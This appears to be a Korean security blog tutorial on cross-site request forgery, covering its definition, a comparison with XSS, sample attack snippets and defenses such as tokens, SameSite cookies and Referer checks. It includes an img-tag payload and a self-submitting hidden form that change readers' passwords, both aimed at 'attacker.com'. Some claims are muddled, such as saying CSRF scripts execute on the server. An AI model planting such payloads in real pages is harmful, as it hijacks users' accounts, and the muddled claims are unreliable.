[정보보안] Cross Site Request Forgery 공격
Cross site request forgery (CSRF) 공격에 대해 알아보자.
목차
위의 목차를 클릭하면 해당 글로 자동 이동 합니다.
CSRF의 정의
CSRF (cross site request forgery) 이란 서버로 사용자가 의도하지 않은 요청을 하게 만드는 공격이다. 웹 애플리케이션에서 요청하는 정보와 사용자의 정보가 일치하는지 검증하지 않는 곳에서 CSRF 취약점이 발생한다. 공격자의 요청이 사용자의 요청인 것처럼 속이는 공격 방식이기에 크로스 사이트 요청 위조라 불린다. CSRF 공격이 이루어지는 과정을 다이어그램으로 나타내었다.
CSRF와 XSS의 차이점
두 공격은 언뜻 보면 괭장히 비슷하다. 두 공격 모두 클라이언트를 공격하는 것이라는 점은 동일하지만, 아래와 같은 차이점을 가지고 있다. 그 중 가장 큰 차이점은, CSRF는 서버로 요청을 직접 하게 하는 서버 측 공격이지만, XSS는 요청이 클라이언트측 에서 실행된다는 점이다.
구분 | CSRF | XSS |
공통점 | - 웹 애플리케이션을 대상으로, 사용자의 신뢰를 악용하여 공격을 수행한다. - 사용자의 브라우저를 통해 실행된다 - 해결 방법 일부: 보안 토큰, 입력 검증, 콘텐츠 보안 정책(CSP) |
|
공격 방법 | 사용자가 의도하지 않은 요청을 웹으로 전송 | 악성 스크립트가 삽입된 웹사이트 방문 시, 스크립트 실행 |
공격 목표 | 사용자 권한을 이용하여 특정 동작을 수행하게 함 (예. 돈 송금, 설정 변경) | 세션 탈취, 사용자 정보 수집, 피싱 등 |
공격 실행 장소 | 서버에서 스크립트 실행 | 클라이언트에서 스크립트 실행 |
세션 인증 | 필요 | 불필요 |
이 두 취약점의 발생 요건 또한 다르기 때문에, XSS 취약점이 있는 사이트에 CSRF 취약점은 존재하지 않을 수 있으며, 그 반대도 동일하다. 각 취약점의 발생 요건을 더 자세히 살펴 보자면 다음과 같다.
CSRF는 주로 인증된 사용자의 세션을 악용하는 데 집중하는 반면, XSS는 입력 검증이 부실할 때 발생한다.
따라서 애플리케이션이 CSRF 방지 토큰을 적절히 사용하지 않더라도, 입력 검증이 잘 되어 있다면 XSS는 발생하지 않을 수 있으며.
반대로, 입력 검증이 잘 되어있더라도, 특정한 요청에 대해 유효한 CSRF 토큰이 발행 및 검증이 되지 않는 경우 XSS는 발생하지 않더라도 CSRF 취약점이 존재할 수 있다.
만약 두 취약점 모두 존재한다면, 제로 클릭으로 취약점을 발생시킬 수도 있다. 여기서 "제로 클릭"(Zero Click) 공격이란 사용자 상호작용 없이 취약점을 악용하여 시스템을 감염시키거나 조작하는 공격이다. 이는 피해자가 링크를 클릭하거나 파일을 다운로드하는 등의 행위를 하지 않아도 발생하며 피해자가 아무런 경고나 의심을 하지 않게 만들기 때문에 매우 위험하다.
HTTP method 에 따른 CSRF 공격
1. GET method
Get method는 URL에 원하는 스크립트 삽입이 가능하기 때문에, 이미지 태그를 활용하여 원하는 페이지로 리다이렉트하여 요청을 보내게 할 수 있다. 공격에 활용할 코드는 다음과 같다.
// 공격 코드 예시
<img src="attacker URL"+request code>
//해당 스크립트가 포함된 글을 읽는 모든 사용자의 비밀번호를 1234로 변경
<img src=“http://attacker.com/?password_new=1234&password_conf=1234&Change=Change”>
2. POST method
반면에 Post method는 form tag를 활용하여 원하는 스크립트 삽입이 필요하다. URL에 원하는 요청을 넣을 수 없기 때문이다.
위와 동일하게 스크립트가 포함된 글을 읽는 모든 사용자의 비밀번호를 1234로 변경하는 스크립트 예시이다. 여기서, POST 요청에서 pw가 아닌 다른 요소를 추가로 검증한다면, 그 값 또하 input 태그로 넣어줄 수 있다.
<form method="post" action="http://attacker.com/?" id="myForm">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.getElementById('myForm').submit();
</script>
CSRF 대응 방안
1. POST method으로 요청 수행
민감한 요청을 수행하는 마이페이지에서는 Post 방식으로 요청을 수행하는 것을 권장한다. 하지만 이 방법 만으로는 불충분하며, 다른 보안 방안들과 같이 수행해야 한다.
GET 메소드의 문제점
- 캐싱: 민감한 데이터가 URL에 포함될 경우 브라우저나 중간 프록시 서버에 의해 캐시될 수 있어 보안에 취약
- URL 기록: GET 요청의 데이터는 브라우저의 히스토리나 서버 로그에 기록될 수 있어 민감한 데이터가 노출 위험이 있다
- 자동 링크화: 이메일 클라이언트나 웹 페이지에서 GET 요청 URL이 자동으로 링크화되어, 사용자가 실수로 클릭할 가능성이 있다
POST 메소드의 이점
- 데이터 노출 최소화: POST 요청의 데이터는 요청 본문에 포함되므로 URL에 나타나지 않아 캐시, 히스토리, 로그에 기록될 위험이 줄어든다
- 자동 링크화 방지: POST 요청은 링크로 직접 실행되지 않으므로 사용자 실수로 인한 요청이 줄어든다
2. CSRF 토큰 사용
토큰 기반 인증이란 사용자가 자신의 아이덴티티를 확인하고 고유한 엑세스 토큰을 부여받는 인증 프로토콜이다.
CSRF 토큰의 검증 절차
1. 각 요청에 대한 고유한 토큰을 생성하고 서버에 저장한다.
2. 토큰은 매 요청과 함께 전달 된다
3. 전달 받은 토큰과 요청자의 정보를 비교 검증하여, 요청의 유효성을 검증한다.
이 토큰은 외부에 노출되지 않도록 hidden 값을 부여해야 한다. 토큰을 생성 및 검증하는 코드는 다음과 같이 구성할 수 있다.
// 서버에서 토큰을 검증하는 코드
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}
}
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// 웹에서 토큰을 검증하는 코드
<!DOCTYPE html>
<form method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<!-- 기타 폼 필드 -->
</form>
</html>
3. SameSite 쿠키 속성
쿠키에 SameSite 속성을 부여하여 쿠키가 크로스 사이트 요청에서 전송되는 방식을 제어한다. Samesite의 속성으로는 Strict 또는 Lax로 설정이 있으며, 보안과 편의성을 모두 고려하여 적용 검토한다.
SameSite=Strict
동일 사이트의 요청에서만 쿠키가 전송된다. 다른 사이트에서의 모든 요청을 차단하기 때문에 CSRF 공격을 효과적으로 방지하지만, 사용자 편의성이 낮아질 수 있다. 주로 로그인 세션 쿠키 등 민감한 데이터를 보호할 때 사용한다.
SameSite=Lax
낮은 민감도의 크로스 사이트 요청에서 쿠키를 전송한다. 링크 클릭 및 GET 요청에서는 쿠키가 전달되지만, POST 요청의 다른 크로스 사이트 요청에서는 쿠키를 전송하지 않는다. 사용자의 사이트 간 이동을 허용하면서도 대부분의 CSRF 공격을 방지하기에 보안과 사용자 편의를 모두 고려한 방안이다.
4. 리퍼러(Referrer) 검증
리퍼러(Referrer) 검증을 통해 웹 요청이 올바른 소스에서 왔는지 확인한다. 서버는 요청을 받을 때 HTTP_REFERER 헤더를 확인하고, 이 헤더의 값이 예상된 도메인과 일치하는지 확인한다.
// 허용된 도메인 목록
$allowed_referers = [
'https://www.alloweddomain.com',
'https://alloweddomain.com'
];
// 서버 측 리퍼러 검증 구현
// 허용된 도메인 목록
$allowed_referers = [
'https://www.alloweddomain.com',
'https://alloweddomain.com'
];
// 요청이 POST인지 확인
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// HTTP_REFERER 헤더가 설정되어 있는지 확인
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
$referer_valid = false;
// 허용된 도메인과 리퍼러를 비교
foreach ($allowed_referers as $allowed_referer) {
if (strpos($referer, $allowed_referer) === 0) {
$referer_valid = true;
break;
}
}
// 리퍼러가 유효하지 않으면 요청을 거부
if (!$referer_valid) {
die('Invalid referer: ' . htmlspecialchars($referer));
}
} else {
die('No referer provided');
}
}
장점
- 간단한 구현: 리퍼러 검증은 비교적 간단하게 구현할 수 있습니다.
- 추가적인 보안 계층: CSRF 방어를 위한 추가적인 보안 계층을 제공합니다.
단점
- 신뢰할 수 없는 리퍼러 헤더: 일부 브라우저나 프록시 서버는 개인 정보 보호를 위해 HTTP_REFERER 헤더를 제거하거나 수정할 수 있습니다.
- 리퍼러 누락 가능성: 일부 경우(예: HTTPS에서 HTTP로의 전환) 리퍼러가 누락될 수 있습니다.
- 취약점: 악의적인 사이트가 리퍼러 헤더를 조작할 수 있습니다.
CSRF Token에 관하여 | 레드팀 플레이북
CSRF Token에 관하여 CSRF 토큰이란? CSRF 토큰은 서버측 애플리케이션에서 생성되고 클라이언트와 공유되는 인증 값이다. 클라이언트는 서버의 통신에 올바른 CSRF 토큰을 포함해야 한다. 그렇지 않
www.xn--hy1b43d247a.com
Session(세션)과 Token(토큰)의 차이는?
우선 HTTP의 프로토콜 상태에 알아보자. HTTP 는 stateless 한 특성 때문에 각 통신의 상태는 저장되지 않는다. 하지만 서비스에서는 어떤 유저가 기능을 사용하는지 특정할 수 있어야하는데 이를 위
velog.io
토큰(token)은 어떻게 탈취 당하는가?
토큰 인증 방식을 공부하다보면 항상 탈취 위험에 대한 이야기가 나온다. 실제로 토큰 탈취가 어떻게 일어나는지 궁금해서 찾아보았고. 대표적인 사례에 대해 조사해보았다.토큰 기반의 인증
velog.io